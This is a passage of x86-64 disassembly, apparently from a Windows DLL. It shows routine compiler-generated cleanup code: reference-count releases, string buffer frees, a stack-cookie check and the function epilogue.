ja 0x18009e30a
mov rcx, r8
call fcn.1800cff50
xorps xmm0, xmm0
xor edi, edi
movdqa xmmword [rbp + 0x2a0], xmm0
mov qword [rbp + 0x2b0], rdi
jmp 0x18009e00d
xor edi, edi
mov rcx, qword [rbp + 0x300]
test rcx, rcx
je 0x18009e04e
mov eax, r13d
lock xadd dword [rcx + 0x2c], eax
cmp eax, 1
jne 0x18009e04e
mov rbx, qword [rbp + 0x300]
test rbx, rbx
je 0x18009e04e
lea rax, [rbx + 0x10]
mov rcx, rbx
mov rbx, qword [rax]
mov edx, 1
mov qword [rax], rdi
mov rax, qword [rcx]
call qword [rax]
test rbx, rbx
jne 0x18009e032
mov rcx, qword [rbp + 0x320]
mov qword [rbp + 0x300], rdi
test rcx, rcx
je 0x18009e07a
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x18009e07a
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov rcx, qword [rbp + 0x328]
test rcx, rcx
je 0x18009e0bb
mov eax, r13d
lock xadd dword [rcx + 0x2c], eax
cmp eax, 1
jne 0x18009e0bb
mov rbx, qword [rbp + 0x328]
test rbx, rbx
je 0x18009e0bb
lea rax, [rbx + 0x10]
mov rcx, rbx
mov rbx, qword [rax]
mov edx, 1
mov qword [rax], rdi
mov rax, qword [rcx]
call qword [rax]
test rbx, rbx
jne 0x18009e09f
mov rcx, qword [rbp + 0x348]
mov qword [rbp + 0x328], rdi
test rcx, rcx
je 0x18009e0e7
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x18009e0e7
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov rax, qword [rbp + 0x350]
test rax, rax
je 0x18009e127
lock xadd dword [rax + 0x2c], r13d
cmp r13d, 1
jne 0x18009e127
mov rbx, qword [rbp + 0x350]
test rbx, rbx
je 0x18009e127
lea rax, [rbx + 0x10]
mov rcx, rbx
mov rbx, qword [rax]
mov edx, 1
mov qword [rax], rdi
mov rax, qword [rcx]
call qword [rax]
test rbx, rbx
jne 0x18009e10b
mov rcx, qword [rbp + 0x370]
mov qword [rbp + 0x350], rdi
test rcx, rcx
je 0x18009e153
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x18009e153
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov r14, qword [rsp + 0x30]
mov rdx, qword [rbp + 0x200]
cmp rdx, 0x10
jb 0x18009e199
mov rcx, qword [rbp + 0x1e8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009e194
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009e2d4
call fcn.1800cff50
mov r13, qword [rsp + 0x58]
movups xmm1, xmmword [rbp + 0x278]
mov qword [rbp + 0x278], rdi
movups xmm0, xmmword [rbp + 0x268]
mov qword [rbp + 0x280], 0xf
mov byte [rbp + 0x268], 0
movups xmmword [r13], xmm0
movups xmmword [r13 + 0x10], xmm1
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x18009e209
mov rcx, qword [r14]
inc rdx
cmp rdx, 0x1000
jb 0x18009e204
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18009e2da
mov rcx, r8
call fcn.1800cff50
mov qword [r14 + 0x10], rdi
mov qword [r14 + 0x18], 0xf
mov byte [r14], 0
mov rdx, qword [r12 + 0x18]
cmp rdx, 0x10
jb 0x18009e255
mov rcx, qword [r12]
inc rdx
cmp rdx, 0x1000
jb 0x18009e250
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18009e2da
mov rcx, r8
call fcn.1800cff50
mov qword [r12 + 0x10], rdi
mov qword [r12 + 0x18], 0xf
mov byte [r12], 0
mov rdx, qword [r15 + 0x18]
cmp rdx, 0x10
jb 0x18009e29e
mov rcx, qword [r15]
inc rdx
cmp rdx, 0x1000
jb 0x18009e299
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18009e2da
mov rcx, r8
call fcn.1800cff50
mov qword [r15 + 0x10], rdi
mov byte [r15], 0
mov rax, r13
mov qword [r15 + 0x18], 0xf
mov rcx, qword [rbp + 0x378]
xor rcx, rsp
call fcn.1800cfc90
add rsp, 0x488
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.1800df1b0
int3
call fcn.1800df1b0
int3
call fcn.1800df1b0
int3
call fcn.1800df1b0
int3
call fcn.1800df1b0
int3
call fcn.1800df1b0
int3
call fcn.1800df1b0
int3
call fcn.1800df1b0
int3
call fcn.1800df1b0
int3
call fcn.1800df1b0
int3